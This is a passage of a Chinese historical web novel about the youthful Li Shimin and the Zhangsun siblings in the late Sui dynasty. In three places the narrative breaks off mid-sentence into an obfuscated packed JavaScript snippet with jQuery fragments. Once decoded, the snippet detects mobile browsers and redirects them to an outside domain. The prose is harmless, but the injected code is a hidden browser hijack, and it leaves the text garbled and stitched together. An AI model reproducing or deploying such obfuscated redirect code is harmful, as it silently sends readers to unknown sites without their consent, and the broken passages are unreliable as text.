他一定是累坏了!李世民狠命地甩甩头,只想留住弹弓射向安业爪牙的那个晕染了金光的、如天神下凡的瞬间,至于别的或者狼狈或者琐碎的场面——比如刚接到白鹞传书时无计可施的局促,比如不计后果向兄长撒谎后出门的心有余悸,比如一路策马追赶已经启程去洛阳的高士廉的焦灼,试图说服高士廉无忌已经遇险的慌不择言,还有差点因担忧和恐惧而坠马的窘迫……这些不太愉悦的场面应该统统被甩出记忆才是! 可他真心诚意地想把这个惹人怜惜的小女孩的一笑一颦刻在心里,以后遇到不顺心的事情时回响一下,记忆里也一定是核桃的甜香。 在一片杯箸声中,长孙无忌极力向舅父高士廉夸耀好友显赫的家世——世袭的一品国公父亲,历任各州刺史,母亲是郡公爱女,才智非凡。 高士廉对一连串的家世、头衔并未表现出特别多的仰慕之情,以一句“唐国公果然教子有方”结束了话题。 而有趣的是,对方也并未表现出家世煊赫者惯常的倨傲。世民对祖先和父母的一长串功业和头衔一贯反应平淡,或者并不认为自己也可以心安理得拥有祖先的荣光,他反而很喜欢高士廉那段游离于唐国公家族史的、只针对他个人的评价:“无忌啊,你这位朋友真可谓刎颈之交。日后,他若有任何难处,你记得一定要为他赴汤蹈火!” “那我定然义不容辞!”长孙无忌斟满一杯一杯果酒奉上。世民一时感奋,忘记自己一向不爱喝酒,将酒一饮而尽后只觉得口腹灼烧,咳嗽连连。引得高士廉爽朗大笑:“小英雄也有不擅长的地方!无忌你不要为难他!” 李世民突然发现自己很喜欢无忌这个特立独行的舅父,虽然高士廉怀疑过他小题大做地在半道阻截他,但是最终还是选择信任这个报信的少年而回马营救妹妹和外甥;虽然高士廉嫌弃过他年纪尚幼不堪大任,但是最终还是带着他勇闯龙潭虎穴。高士廉是一个能够有胆略平视他的家族也有气魄平视一个少年的奇人——李世民的脑子高速地旋转着,得出了令自己满意的结论。 大家胡乱地吃了点古楼子、乳酪饼,并不算很地道的于阗法蒸全羊此时也鲜嫩无比。用飞刀鲙鲤解腻后,高士廉的妾室张氏又奉上“五香饮”。因事出紧急,晚膳虽称不上丰盛却精细周到。 在座诸人或因与人力战,或因被软禁许久,或因过分惊吓,或因思虑重重而各有各的疲惫倦怠之处。高老夫人并不客套寒暄,只是催促大家早些安歇。 鲜于氏已安排好客人的房间,长孙无忌与李世民却铁了心共寝。长辈们苦劝不住,高老夫人便又叮嘱无忌道:“也罢,你两个想来有些孩子气的私密话要讲。不过,无忌,你切不可缠着李家小郎君喋喋不休!” …… 中夜,长孙青璟从榻上翻身坐起,轻轻用手指点了点外祖母新给自己安排的嬷嬷。“阿嬭——阿嬭——”她高高低低唤了几声,嬷嬷继续打鼾,她便披衣出屋,偷偷绕到无忌房间旁。 两个男孩果然无心睡眠。 “……我接到白鹞传书后,便向兄长扯谎说阿姊叫我狩猎,抢了家中最好的一匹马,带上一个伶俐的部曲便一路狂奔找寻你舅父下落……”无忌的房间里传来地板被用力踩踏的“咚咚”声。 “我跑进立政里,你舅父府上家生却说郎君刚启程去洛阳。我思忖着你家家事还是先找到你舅父为妥,便策马追赶你舅父。总算在一个歧路口遇着他。你舅父初时见我年少,以为我胡言乱语。全仗着我着善持论的三寸不烂之舌,才说动你舅父回程救你。” 历劫而归的两位小郎君在房间里闪转腾挪,用弓弦、刀鞘、镇纸模拟出混乱的搏斗交接声,回忆着人生的第一场恶战。 长孙青璟也开心地跃进兄长的房间:“你们说得真有趣,我还要听!” “别出声,坐下坐下。”长孙无忌和李世民慌乱地整理一屋子凌乱的家具,书册,茶盏,果盘……然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不好——”李世民蹬上靴子跑到中庭,“那可得挨两顿打。” 伶俐的小婢女就像个精致而稳当的陀螺一般在焦灼的李世民身边捧着食案旋转,他无计可施,只能从她手中接过瓷碗,匆匆灌了几口酪浆。 “替我感谢你外祖母,舅父舅母的盛情招待,替我向他们道别。你好好照顾母亲。大家费了好大劲才把人抢出来,可别又弄丢了。” 长孙无忌也不强留,只是一路送好友直到马厩。李世民推醒了昨晚在高府酒足饭饱的自家部曲,翻身上马。他认定了回家越早惩罚越轻,便不再留恋此地。鼻尖又飘过了熟悉的核桃香,让他浮想联翩。 “你看,我冒死报信,又随同你舅父来救你,还将为夜不归宿挨一顿家法。你可欠我一份大大的人情。你拿什么还我?” “当然只能拿命还!”这话倒一点也不像玩笑,更像是早就深思熟虑后压在了心底,在一个偶然的契机之中真情流露。 李世民吓了一跳:“开个玩笑而已,你那么认真干嘛!”他趋马行了几步,又回头高喊道:“我还没想好让你还什么呢!你先欠着!” 余光里,似乎有一抹淡绿在凝视他。 5. 流年 “我们困在时间回环往复的涡流里了……”这是长孙青璟在这三四年里经常生出的念头。她也经常站在终南山的松涛林泉间,发出和兄长及他的诸位好友们一样的质询:“开皇大业将会千秋万代,既寿永昌吗?” 一开始,所有人都认为皇帝开始四处巡游只是一时兴起,新的宫殿新的运河会成为帝王起居注里一朵并不艳丽的插花;一开始,所有人都认为洛阳那些白衣白袍自称弥勒佛降世闯进宫禁之中的人也无非是为了在这平淡的治世留下妄想的大名;一开始,所有人都认为辽东的战事只此一次,灰头土脸的皇帝总会回到拥戴他的关中;一开始,所有人都认为那些死在运河工地的民夫与被强征入宫的少女与自己无关,总有人活该成为开皇大业的垫脚石——直到黎阳传来杨玄感反叛的消息。 叛乱发生在好大喜功的国朝二代皇帝第二次亲征高句丽期间,勋贵子弟们开始抱团叛乱,局面瞬时震悚和微妙起来。 大兴城一下子戒备森严,中原叛军与官兵作战的各种消息纷至沓来,谁也说不清关中的静水深流下潜藏着涌动的潮汐裹挟了多大的能量。 被家族抛弃的痛苦并没有维系多长时间。就连高士廉也惊异于两个孩子在历经阴谋与背叛后并未被噩梦环绕,从而成为性格乖张阴郁的可怜虫,然后用一生印证长孙安业最恶毒的妄语:“看,那个齐国疯女人的后代!” 恰恰相反,长孙无忌和长孙青璟野蛮执着的如同掉入山崖缝隙间的种子,在并不适宜的地方破土,盘虬卧龙般地去扎根,去寻找阳光,不顾一切地生长。 长孙炽曾经特意与高士廉商议接回弟弟这一双儿女的事宜。但是高士廉对妹妹所遭受不公的质疑,无忌对未来侃侃而谈,青璟云淡风轻地表示绝不离开九品官养父时,长孙炽知晓所有的挽回也都是徒劳。 不过长孙炽转而安慰自己:他们都是代北人,流淌在血管里的蛮横与狠戾会适时地冒出来自我拯救。这些阴山草场上的种子是杀不死的。 他满怀歉意地离开高府,心中又怀着一丝期待——长孙氏的第二代大多纨绔,这两颗被随意丢弃在山崖间的野草籽是否会开出不异样的花呢?这样想来,没能接回侄子侄女的遗憾似乎也没有那么深重了。 终南山的高氏别业成了一群少年总论天下的隐秘之处。高士廉是一个完美的倾听者——忘年交、师长、父亲三个角色在他身上完美融合、并行不悖。 高士廉发自内心地欣赏唐国公李渊的次子李世民和三子李玄霸。李世民此时正随父亲前往涿郡。李玄霸成为了高府常客。这是一个腼腆的十五岁男孩,气疾几乎毁掉了他练习骑射、追逐祖辈荣光的一切可能。 “但是,除却性格与武艺,大德就是另一个毘提诃。”长孙无忌经常在一场少年们势均力敌的时局辩论后这样向青璟夸赞玄霸,“我和毘提诃说好了将来一起去突厥,去西域建功立业,可惜没法带上大德——他这个样子,连狩猎都困窘!” 长孙青璟偶尔会想起玄霸的哥哥——那个可以为了拯救朋友一家蹈火而来的一身苜蓿清香的少年,那个为了博贪嘴女孩子一笑徒手碎核桃的顽皮少年,那个因夜不归宿而害怕被兄长责罚而慌乱不已的可爱少年。 听着长孙无忌絮叨,她也禁不住臧否起人物来:“李世民虽然爱说大话,仍不失为赤诚君子。” 她不经意回想着李世民前往涿郡时与高士廉和长孙无忌告别的情形。在记忆的隐秘之处,似乎有过一丝担忧与不舍。 “你是说毘提诃还是大德?”无忌转动着猞猁一样的眼珠打趣道。长孙青璟一时语塞,不过她很快从窘境里解脱出来:“你说他们兄弟两个平时当面闲谈时会不会觉得自己在照镜子?”兄妹俩会意地露出一模一样的狡黠笑容。 “不过,毕竟世民的见识比玄霸多一些,他父母游宦在外总是带着他世民从涿郡回来就好了。”无忌整理着与好友的信札,充满期待地说道,“啊,他一定有太多信札里装不下的话要说给我们听,高句丽前线的战事啊,督粮的艰辛啊,运河的工地啊,燕赵的民风啊……他可是一张活地图和话匣子!” 有些人离开大兴很久了,但是一直野蛮地活跃在大兴少年们的话题里。 大家喜欢他,崇拜他,想念他,学着他的语气说话,把他扔进自己的处境里仿拟无坚不摧的人生,又把自己丢进他的处境里幻想一场惊心动魄冒险——最终还是盼着他早点回来。这个无处不在的幻影俨然是少年们的精神领袖。 “等高句丽的战事结束了,杨玄感的叛乱平定了,世民就会平安从涿郡回来了。就这个国家就会又一次归于正常。”长孙无忌渴盼回到那个井然有序的时代,不愿意相信那个时代已经和意气风发的父亲一同随风逝去了。 李家的三公子对于自己的未来规划有一种偏执的热情。他喜欢高府这个可以倾吐自己稚嫩的、宏伟的、不切实际的理想的地方。他认真地提着束脩上门拜高士廉为师。高士廉教授李玄霸经史,也不刻意摆出老师的架子故弄玄虚与恫吓这个天资颖慧的少年。孩子们有大把的时间弈棋、赋诗、骑射。 青璟不会刻意回避玄霸,但一般也都选择在无忌跟前与他简单寒暄几句。偶尔在下棋时听少年们闲谈。大家偷偷传唱着知世郎大逆不道的歌谣,谈着辽东的惨状,对杨玄感和李密的叛乱,在嫌恶讥嘲之中带着一丝欣羡。大家窃窃私语:“这个混乱的世道到底是谁造成的?大兴城的歌舞升平还能够持续多久?” 年长他们十几岁的颜师古总在这些即将引出大不敬言论的时刻岔开话题、咳嗽甚至弄乱棋盘。但是少年们不以为意,每隔几天就会陷入对朝廷、对皇帝的质问——当然是单方面的、无力的甚至罕有共鸣的。 一日,长孙青璟正在水池边逗弄猞猁“草上飞”。忽然觉得水榭里有一双忧郁的眼睛在凝望着自己。她有点不安,带着“草上飞”转入水榭。慵懒的蔷薇色的斜晖映照在地板上,光柱里翻腾着细碎的被禁锢的灰尘。李玄霸正倚在窗下调弄着一把旧琵琶的弦,专注地把自己的半边脸埋在覆手处。 “安和好在,青——长孙娘子——”少男少女单独相处时的问候多半有些生涩与别扭。无忌不知道又跑到哪里去了。青璟和玄霸一时不知如何相处。 “好在,李三郎。”她想离去,但是对方剧烈的咳嗽制止了她。那个病弱而又清秀的少年今天顾盼神飞,似乎揣着满腹的欢快要与朋友们分享。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041784|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我在无忌那里找到了《入阵乐》的谱子。”李玄霸又如获至宝地摇了摇手上落满了灰尘的傩舞面具。 “我想弹这首曲子,你能坐在那儿听吗?——不用坐得太近,就在现在的位置。”他郑重地戴上了面具。 长孙青璟微笑着正襟危坐,连草上飞也被这严肃的气氛感染,乖乖地趴在女主人的身边。 苍凉厚重的调子从少年的指尖蜿蜒流淌,应和着那些余晖映照下翻腾的尘土,一时间大串的珠玉在少年手上迸裂,铮铮淙淙,撞碎了一室的光影,撞开了时间的涡流,时而刀枪交鸣,时而如泣如诉……一曲终了,玄霸紧握笏板的手微微颤抖,声音余波持续震荡在他指间。他摘下面具,不无凄苦地说道: “我就像这些困在光里的微尘——无论怎样飞舞都是徒劳。” 然后,这个被命运预判了死亡的少年望着夕阳的余晖在水榭中投射的光柱,无奈地叹息,“唉,我等不到父母兄长归来了。” 他确实等不到那个理想中的被爱和哭泣包裹的最终道别了,所以干脆任性地选择自己的方式去和这个世界告别。 高府接到了唐国公大公子李建成的狩猎邀请——虽然不合时宜,但是人们应该成全一个孱弱少年最后的古怪念头。 李玄霸不记得上次狩猎是几岁时,但是这次却是异常顽固地想将自己的一生终结在马背上。苍鹰翱翔,黄犬咆哮,仿佛那热闹的漩涡才是这个文静男孩宿命的归处。他静静地坐在马背上,倾听了半晌的风。 “大哥,三姊,代我向父母致歉吧,我恐怕无法尽孝了。”一直与他并骑骈进建成和三娘只是叹息和抽泣。他们都太过年轻,稚嫩到不知如何面对一场命运蓄谋已久的谋杀。 “无忌啊,告诉我兄长,我祝他功业早成。可惜啦,他的天空里不再有我。”无忌的心一点点沉了下去。李家人跟他讲过二郎九岁时得过两次疫疠又奇迹般痊愈的神迹,所以他丝毫不怀疑同样的神迹会在三郎身上重演。他无法接受一个同龄的年轻的生命的骤然离去。 李玄霸小心翼翼地转向青璟,又闪躲着长孙青璟关切的眼神:“南山的天好高,好蓝,我却总是够不着。” 天空碧蓝澄澈,云絮有瞬息的翻涌,一如少年那颗挣扎的留恋的心。倏忽间,少年的眼睛被点燃了一半翻涌着天空的气息:“他们来接我了……”然后,一切又归于沉寂。玄霸在马背上熟睡过去,永恒的梦境里有武川的诸位英灵,有此生无法触及的绮丽未来…… 长孙青璟的手掌还悬停在空中,紧握指掌,丝丝缕缕的白色云絮和时间就这样从指间滑走了。 她想到激越的《兰陵王入阵曲》,想到夕阳里翻涌的尘土,想到这世上终究有太多的求而不得。 然而,活着的少男少女和那些前赴后继堆叠在辽东、被筑成京观的枯骨,和那些被扑灭的反抗的火星一起,也持续地困在这回环往复的时间涡流里了。 长孙青璟害怕这一潭死水迟早把跃跃欲试的、升腾的小漩涡拖回深处。她像一只蛰伏在水中的水虿,不甘心还未闻到岸上的花香就夭折在死水中。 外表柔弱、内心叛逆的少女开始渴望着生命中的降临一场席卷天地的飓风。 6. 隐忧 高府又冷清下来。 长孙兄妹习惯在清朗的月夜在庭院中摆下棋局。长孙青璟竟可以与长孙无忌打成平手甚至赢无忌。 “也许,李大德就会用这些招式对付你。”长孙青璟喜欢用这样的口吻描述自己的越发凌厉的棋风。她慢慢抠去棋盘上属于长孙无忌的棋子时,甚至感觉到背后有一双不甘的双眼。有时面对长孙无忌毫无招架之力的困窘,她得意地笑着笑着,竟流下眼泪。 望着庭院里凋零的树叶,长孙青璟有时会痴痴地想:一直渴望在战场上建功立业的李玄霸终究只是带着他的书本和围棋长眠于地下,现在他的灵魂是自由的,可以越过万里关山追随他的祖先了吧? 杨玄感的叛乱终于平息,同谋四散逃窜,皇帝依旧盘桓在河洛之间。似乎大兴长出了腐臭的棘刺,令皇帝厌恶至极。 长孙无忌继续着和好友李世民的通信,但是战事和徭役经常把邮驿弄得一片混乱,双方收到信件发出和收到的日期十分错乱。他也只能在反复翻看同一封信时揣度对方的安危和心绪,甚至喃喃自语,或者虔诚地双手合十,跪求四方神明保佑好友周全。 一个普通的午后,长孙青璟在阁子里默默诵读自己新写的永明体诗,被里面好几处出韵的毛病磨折得一筹莫展之际,身边的兄长因为好几日未收到李世民消息,又开始了絮叨不休的祈福。 嗡嗡的声响穿透了长孙青璟的脑际,仿佛要在那里凿出一个洞来。 “李世民离开涿郡了吗?李世民到河南郡了吗?李世民为什么不给我回信?李世民有没有遇到叛军?李世民有没有把偷我的韵书弄丢?”长孙青璟学着兄长焦虑的模样絮叨起来,语音语调也分毫不差,“李世民射术有没有精进一些?李世民收到玄霸去世的消息会不会伤心得吃不下饭?” 她一手将笔搁置在五峰山形的笔架上,一手托腮笑道:“李世民是欠了你多少钱没还,惹得你每天牵挂他好几次?” “我这叫心诚则灵,求一求观音菩萨,求一求南斗星君,遍祷诸神,必有一灵听之。要是施点敕勒之术也能保佑李世民周全,也不妨一试。”长孙无忌笑道,“我毕竟是承诺用性命报答他的——为他稽首百祀也是应该的。” 长孙青璟打开窗,遥望院落。平日里,高士廉家里聚满了十几岁的小郎君。今天,却只有她堂姊的两个儿子李大志、李大慧,族兄长孙敏行聚在一起蹴鞠——那球却是病恹恹的不太愿意跌宕腾挪。 也不知突然闯入院落的婢女与三位小客人说了什么,初时还死气沉沉的鞠球突然被一向文静的长孙敏行吊上了高空。然后,三个人便不管不顾地跑向长孙兄妹休憩的小阁。 李大志在阁子外探头探脑招呼长孙无忌出去。 “敏行兄长,我的诗又不合辙了?你能否看看。”长孙青璟照旧缠着陆法言的弟子长孙敏行为自己修改诗文。 “你那么聪明,多琢磨一下就想明白了……”长孙敏行站在窗外答道,敷衍得太过明显。 众人拽上长孙无忌,一同去找高士廉。 “妹妹,我改日替你改啊。”长孙敏行算是用一个承诺弥补了方才的敷衍,然后与其他三人一道离去。 “没什么大事吧?”长孙无忌问道。 “当然是好消息。”长孙敏行勾着他后背将他拖走。 当晚,长孙青璟习字时发现兄长正将一张纸片悄悄夹在经折之中,偷偷瞥了青璟一眼,便从案上抽出一张信笺,虔诚地铺平,笔尖在砚池里捻了半日,才磨磨蹭蹭写了几个字。 “看着不像是平日里给毘提诃写信一般文思泉涌啊!”青璟掸了掸已经临摹完的钟繇的《宣示表》,嘲笑着兄长的欲盖弥彰。 “多管闲事!”无忌说罢将手中才写了数个字的信笺揉作一团,又重新抽出一张纸。 “兄长真是善驭光阴——刚得到挚友平安的消息,就不惦记他,改惦记心上人了。”长孙青璟随意地在废弃的纸上写下《昔昔盐》,“那位娘子,她可是很喜欢薛玄卿的哦!” “我独爱卢思道。”长孙无忌一边说着一边瞟着长孙青璟手上那首《昔昔盐》。 “啊,既然兄长骨头这么硬,那我就不帮你啦!”长孙青璟没好气地准备把诗给撕了,长孙无忌劈手来夺。 “女孩子家心眼儿比针还小,那诗给我看看!” 兄妹读书、打闹间不觉又过了数月。季春之初,青璟也满了十三岁,因还未许字人家,母亲便和舅父商定先成髻再行笄礼。 外祖母,母亲,舅母和几个年轻手巧的婢女将青璟围在闺阁中间,开始为她设计新发髻。 “十字髻吧,南方过去可时兴十字髻了。”老太太回忆起年轻时的风尚。伶俐的婢女立刻将小娘子的披发绾出大概的模样。 鲜于氏掩口笑道:“青璟最近骑马骑太多,人有些消瘦,配上十字髻更显得伶仃。要不换堕马髻?” 长孙青璟向身后年龄相仿的婢女偷偷吐了吐舌头,背手抓过一头青丝胡乱团在左脑勺。路过的长孙无忌见到这副阵仗,不禁从窗口探进半个头,挤眉弄眼起来。 “啊,这个,会不会太轻佻了?”高氏把不安分的、准备逃跑的女儿按回茵褥上。 “不过确实好看!”擅长盘发的小丫鬟又开始在青璟的头顶比划,“单刀髻呢?配上一身骑装很是飒爽。惊鹄髻怎样?让博鬓遮盖到耳尖那里显得端庄一些……” 年轻的娘子快被七嘴八舌的争论弄晕了。 最后,青璟的头顶耸起了两个望仙髻,并被戴上外祖母了珍藏多年的步摇,凭添了几分少女的娇俏。 长孙青璟开始学着稳重行事。母亲注意到了她的变化,却笑而不语。她也会偷听舅父和母亲聊起她未来的婚事。进宫是万万不可的,谁家父母乐意青春少女一生都见不到暴虐无常的皇帝?当藩妃的话有蜀王妃前车之鉴,两边长辈都是竭力反对的。 “长孙”这个姓氏的含金量在关中河洛是灵活上下的,需要抬高时,便是洛阳高门,元魏宗亲;恶意贬损时,便是鸠占鹊巢,阴山白虏。高士廉一想起自己升迁无望,外甥女被异母兄长逐出家门成为长安笑柄,将来不得不低嫁便头疼不已。 长孙无忌却有自己的想法,有一次在家宴的席间竟大言不惭地告诉舅父:“这有何难?等我步入庙堂,宣威沙漠,当上宰辅,什么赵郡李家,太原王家,博陵崔家,还不是舔着脸要和我们这一房落魄的长孙氏结亲?” 高士廉听罢这番大话,头更疼了。一家人面面相觑,尴尬地注视着大眼瞪小眼的甥舅。高氏也觉得这小子越发口无遮拦,真的值得上一顿鞭笞。 高士廉停杯投箸,思忖一番才憋出几句慰勉的话来:“你所言有大志,配得上祖辈的戎马战功。遥想你父亲十八岁初任司卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041785|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上士时,在高祖皇帝面前对突厥事务条分缕析,高祖直言你父亲必会成为一代名将。他也得以在一众年轻人中脱颖而出。我和你母亲也很希望你继承你父亲的才智勇武……和……” “再加一点有父亲的幸运!”长孙无忌接嘴道。 “饶舌!”高士廉几乎喷饭,咳嗽着提起酒壶,“来来来,陪舅父喝一杯。” 无忌一饮而尽,凑近长孙青璟耳畔窃窃私语:“其实我还留了一半念想……等我当了宰相,肯定迎娶颜家娘子为诰命夫人,才不稀罕什么山东高门呢!” 长孙青璟在案下拿筷子偷偷打他的手:“你今晚酒喝多了,口没遮拦……不过既然你念着颜家娘子待你好,我便不去母亲和舅舅那里揭你的短。作为君子,讷于言敏于行,记得自己立过的誓才好!” “其实我也偷偷给你寻了一位如意郎君,你看唐国公家的毘提诃如何?……哎呀……”案几下,无忌的小腿肚子被妹妹狠狠踹了一脚。 “我跟他不熟,你再胡说我就让母亲拿锥子扎烂你的舌头!”青璟轻声威胁道。 家人们对于两个孩子未来高不成低不就的婚事有些无可奈何,对无忌那些空洞得无法着落的梦想嗤之以鼻。在那个混乱无序的年代,也只能静待奇迹。 国朝少女的教育,各家莫衷一是。大儒们一面主张女子也精通四书五经,一面要求她们研习各路“家训”,以相夫教子。有财力的父母一面也为女儿延请老师,一面暗自集齐各种“驭夫”奇书,教授女儿将来如何压过女婿一头。 ——总之,各家关于娘子接受何种教养的观点集合起来,便呈现一种神思分裂的癫狂。 长孙青璟枕席底下也藏着数本各家少女间偷偷传看御夫术。初时尚觉得有趣,看多了也便味同嚼蜡。 高士廉新近从龙门的好友处借得《续书》《续诗》《元经》《礼经》《乐论》《赞易》等当世经学著述,倒是妙趣横生。大兴的年轻人一边抨击这位王通的离经叛道,一边也叹服他“三教可一”新说。 大家一边詈骂斥责一边偷偷引述王通之说的样子也甚是有趣。 高士廉向来不阻拦外甥女研习经学,长孙青璟也得以随意出入舅父的书斋。有时高士廉打开新的抄本,就看见两个孩子或者可笑,或者可圈可点的批注,也不禁莞尔。 一日,长孙青璟在书斋中合上经折,又自觉当世的夫子们太过天真。如今国事日非,皇帝修长城、开运河、征高丽、四处巡幸,弄得民不聊生。别说效法圣王垂拱而治,百姓不再流离失所便是大善了。 正当她发呆时,长孙无忌从窗外探进头来:“有客人来了,正和舅舅讨论经义。你快把王夫子的书拿去正厅。” “我已经成髻了,不见外男。”青璟扁嘴拒绝懒惰的兄长。 “舅父说了,今天的客人不算外人。” 青璟心想兴许是家中来了长辈,便正了下衣冠,抱上一叠书前往正厅。几个年轻的丫鬟正在正厅门口处窃窃私语,时不时掩口轻笑。见小娘子上前来,才互相牵了下衣袖垂手肃立。 “舅舅,王夫子的书拿来了。” “进来吧——” “我去开门。”青璟听到一个似曾相识的声音。 就在高士廉的客人打开门的瞬间,青璟感觉自己又一次跌入了光阴的涡流里,一个趔趄,手中的书本散落了一地…… 7. 情愫 高家的贵客以为自己撞上了长孙青璟,有些不知所措,连声致歉。 “是我唐突了。娘子无恙罢?”一张关切而又意气洋洋的脸就这样再次突兀地跃进了长孙青璟的人生。 “郎君是——”两人同时手忙脚乱地膝行着,捡拾一地混乱的经折册子时,长孙青璟与对方的手指不经意触碰了一下。 “你还记得徒手碎核桃的毘提诃吗?”来客小心翼翼地询问,声音几不可闻,他又用不确定的眼神瞥了高士廉一下。 来人果然就是李世民了,是她八岁时救她离开安业精心设置的牢笼的任侠男孩,是随父游宦却一直踊跃在兄长话题里的博闻挚友,是与玄霸面目相仿却不见一丝阴霾的拏云少年。 长孙青璟迟疑了片刻,轻轻点头。与蹈火而来的少年再次相见时,十三岁的少女有一根心弦似乎被微风震颤了一下。 “你们好久没见了罢。”高士廉看懂了李世民的暗示或者求救——向女眷自我介绍毕竟会被视为无状,便招呼长孙青璟上前。“这是是无忌挂怀了许久的李家二郎,玄霸的次兄……” “安和好在!”两人互相行过叉手礼,想起玄霸,一时静默。 “前番主上征讨高句丽时,家父忙于督粮;今次杨玄感之乱甫定,他又出任慰抚大使。而今公务缠身,特命我代他向治礼郎一家致谢。父亲十分感怀治礼郎对玄霸的照拂,只可惜这孩子命薄……”说这番话时,他想起了弟弟一直在等待着他的归来,却终不可得。他的心似乎被一只无形的利爪挠着、捣着、又狠狠地掐着。 长孙青璟的嘴角痉挛了一下,眉梢紧蹙,似乎正在纠结是否要将玄霸弹奏《兰陵王入阵曲》那日的激越与无奈,狩猎那日的飞扬与绝望全盘告诉李世民。 那些跳跃的梦想和幻灭的碎片值得成为生者与死者的牵绊。她缓缓抬头,琥珀色的眸子企图攫住那顾眄炜如的光华。 李世民面对那迷蒙到失神的眼睛,有些无措又不失期待。他抿了一下嘴唇,试图从少女口中探寻关于早逝弟弟的只言片语。 “娘子……大德他……”他害怕下次再来拜访高士廉时已见不到这个弟弟信中所说的温柔又坚毅的少女,便有些不顾礼节地主动挑起话题。 “舅父,我找到世民前日寄来的《赋尚书》《祭魏武文》了。”无忌如获至宝地捧着几张信笺,几乎在地板上划过一道深深的弧线,才收住脚。 后面跟着端着果酒疾趋的婢女阿彩。 “三郎确是反复提及公子,如果舅父准许我……”青璟的目光略略游移到世民身后窗棂透进的那束阳光上。 “郎君,郎君,”一个年轻的家生奴急匆匆地拨开门口窃窃私语的婢女们的人墙,撞开阿彩,连滚带爬摔在高士廉面前,“长安来人了,斛斯尚书家里闹翻天了!” 高士廉伸展手掌示意这冒失的家生噤声。自己则起身准备迎接长安报信的来客。“李公子,高某失陪了”他的神色有些焦虑,转身又叮嘱道:“无忌,你陪李公子坐一会儿。” 无忌对舅父的离去有些猝不及防,世民起身送别高士廉后又端坐,惊魂未定的阿彩庆幸手中果酒一滴未洒,便向娘子和小郎君们奉上新酿的酢浆。 高士廉的隐忧并未波及到几个孩子身上,大家也只是胡乱猜测兵部尚书斛斯政家中或许有要紧亲眷突然过世。高氏与斛斯氏世代交好,兴许高士廉急于筹备吊唁事宜。 长辈之间的人情往来对晚辈影响也不是很大,大家对这个插曲并未过多留意,便忙不迭地聊起属于自己的话题。 “毘提诃,”长孙无忌清了清嗓子,觉得第三人在场时叫朋友小名有些不妥当,便又改口:“世民这的这些诗文,意境高远,雄浑质朴又不失少年意气,便是舅父也赞不绝口。” 李世民欠身道:“得治礼郎谬赞,我受宠若惊。” 长孙无忌是一副襟怀洒落的模样:“哪里哪里,托你的福,舅父连夸我十六年来终于交到一位真正的朋友。我玩赏数日,现原物奉还——” 长孙青璟心头一悸,以纨扇轻轻拍了拍阿彩的肩膀:“我兄长说的是哪篇文章?哪首诗?你我可读过?” “这——这——这不是舅父的笔迹。”长孙无忌展开卷轴,手握满页红色批注的卷侧,窘迫得一时不知如何是好:“太不像话了!” 李世民接过卷轴,一阵疑惑讶异后,倒是恢廓自若地笑了起来:“钟王的字体倒是很漂亮,我看看评得在理不在理!” 长孙无忌尴尬而愤怒:“阿彩!谁动过这卷轴?” 阿彩偷偷地瞥了一眼青璟,默默膝行至青璟身后,面对小郎君努了努嘴。两位郎君自然了然于心,尤其是无忌,一时不知如何收场。 长孙青璟有些心虚,讪讪一笑:“啊……兄长稍安勿躁。我动过……初看误以为是熟人的文稿,一时手痒就用上了丹砂。是我太过冒失了,望李公子见谅。” 她敛容肃拜,惹得李世民反倒安慰起她来:“某也只是信手涂鸦,幸得娘子品赏,也不虚此行。”他想努力显得有礼有节,但是出口的言辞总带着一丝若隐若现的谄媚。 “我本该生气的,不过那是朋友的妹妹。”他心道,“就算是看无忌的面子也需要捧着,何况玄霸也夸这位娘子心思缜密,言谈见识不输男儿。这手稿涂抹就涂抹了罢,何必与她置气。跟她保证绝不计较便决计不能再计较,省得惹她耻笑。” 长孙无忌转向李世民,嗫嚅道:“……舍妹她……还未行笄礼……失仪莫怪……我亲自训斥她便是。” 他一边结巴着一边兜转到青璟身后,拿手指戳了戳妹妹的后背:“青璟啊,这位公子是——” “我们在舅父面前相互致过意了。”青璟低声嘟囔。 “那你也略微真诚些道歉,不要一副你做错了事还要苦主哄你开心的做派。” “文章写得口气太冲,我本来还懒得评一个字呢!还有《赋尚书》真是写得正气凛然又空洞无物——你再敢戳我,小心我放草上飞咬你。”长孙青璟满口不服气。 “真真岂有此理,你这样胡闹,你兄长在朋友面前不要面子的吗?” 李世民虽对兄妹两人的闲谈听得不甚明了,却也大致清楚见二人针锋相对原是为了自己。他不觉有些尴尬,只得低头细细琢磨被无忌称作“无理取闹”的批注。 阿彩识趣地上前为他斟果酒,他便有些好奇地问这个看似十分伶俐的婢女:“你家小郎君和小娘子经常这么……这么……聒噪,不,争论不休吗?”阿彩睁圆双眼,鸡啄米似的点头,憋住一肚子不可遏制的狂呼乱跳,回到长孙青璟身边。 “我当面说了对不住他了,再誊抄一份赔给他就是了。”青璟有些气恼,乜了一眼正低头沉吟的李世民,做出来最大的让步。 